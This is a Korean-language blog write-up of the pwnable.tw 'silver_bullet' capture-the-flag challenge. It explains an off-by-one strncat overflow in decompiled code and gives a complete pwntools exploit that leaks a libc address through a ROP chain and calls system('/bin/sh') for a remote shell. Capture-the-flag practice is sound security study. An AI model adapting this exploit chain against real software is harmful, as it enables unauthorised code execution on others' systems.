일단 이문제 디버깅 자체는 쉽다. 아마 전에 푼것보다 쉬운거같다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int Input; // eax
int v5; // [esp+0h] [ebp-3Ch]
const char *v6; // [esp+4h] [ebp-38h]
char s; // [esp+8h] [ebp-34h]
int v8; // [esp+38h] [ebp-4h]
init_proc();
v8 = 0;
memset(&s, 0, 0x30u);
v5 = 0x7FFFFFFF;
v6 = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(v5, v6);
Input = read_int();
if ( Input != 2 )
break;
power_up(&s);
}
if ( Input > 2 )
break;
if ( Input != 1 )
goto LABEL_16;
create_bullet(&s);
}
if ( Input == 3 )
break;
if ( Input == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_16:
puts("Invalid choice");
}
if ( beat(&s, &v5) )
return 0;
puts("Give me more power !!");
}
}
구조는 이런식으로 되있다. create_bullet으로 bullet 을 만들고 일정 이상을 만든다음에 beat를 해서 악마?를 무찌르는 형식이다.
그런데 이때 power_up이란게 존재하는데, 여기서 취약점이 발생한다.
int __cdecl power_up(char *Bullet)
{
char upgrade_bullet_input; // [esp+0h] [ebp-34h]
size_t bullet_power; // [esp+30h] [ebp-4h]
bullet_power = 0;
memset(&upgrade_bullet_input, 0, 0x30u);
if ( !*Bullet )
return puts("You need create the bullet first !");
if ( *(Bullet + 12) > 47u )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&upgrade_bullet_input, 48 - *(Bullet + 12));
strncat(Bullet, &upgrade_bullet_input, 48 - *(Bullet + 12));// vuln
bullet_power = strlen(&upgrade_bullet_input) + *(Bullet + 12);
printf("Your new power is : %u\n", bullet_power);
*(Bullet + 12) = bullet_power;
return puts("Enjoy it !");
}
여기에서 봤듯이 47이상을 받으면 더이상 할수 없다고한다.
그런데 이때 strncat에서 문자열을 합쳐주고있다.
strncat 를 호출할때는 뒤에 NULL값이 들어가기때문에 변수-1 을 해줘야한다. 하지만 여기서는 그런짓을 하지 않는다. 즉 뒤에있는 변수가 덮일수 있다는것이다.
뒤에있는 bullet_power가 덮어지게된다. 이후에 bullet_power는 기존에 있던 문자열에 개수로 업데이트된다.
그래서 변조가 됬으므로 이제 뒤에 마음껏 붙이는게 가능해진다.
from pwn import *
#p = process("./silver_bullet")
p = remote("chall.pwnable.tw",10103)
binf = ELF("./silver_bullet")
addr_main = 0x8048954
addr_puts_plt = 0x080484A8
addr_puts_got = 0x0804AFDC
addr_pr = 0x08048a7b
def create_bullet(data):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("bullet :")
p.sendline(data)
def power_up(data):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("bullet :")
p.sendline(data)
def beat():
p.recvuntil("Your choice :")
p.sendline("3")
create_bullet("A"*47)
power_up("A")
payload = "A"*7
payload += p32(addr_puts_plt)
payload += p32(addr_pr)
payload += p32(addr_puts_got)
payload += p32(addr_main)
power_up(payload)
beat()
beat()
p.recvuntil("Oh ! You win !!\n")
addr_leak = u32(p.recv(4))
addr_libc_base = addr_leak - 389440
addr_system = addr_libc_base + 239936
addr_binsh = addr_libc_base + 1412747
success(hex(addr_leak))
success(hex(addr_libc_base))
success(hex(addr_system))
success(hex(addr_binsh))
create_bullet("A"*47)
power_up("A")
payload = "A"*7
payload += p32(addr_system)
#payload += p32(addr_pr)
payload += "A"*4
payload += p32(addr_binsh)
power_up(payload)
beat()
beat()
p.interactive()
그래서 뒤에는 ROP로 해주면된다
'CTF > Pwnable.tw' 카테고리의 다른 글
Pwnable.tw pwnable_dubblesort Write up (0) | 2019.11.04 |
---|---|
Pwnable.tw pwnable_3x17 Write up (0) | 2019.11.04 |
Pwnable.tw pwnable_start Write up (0) | 2019.11.02 |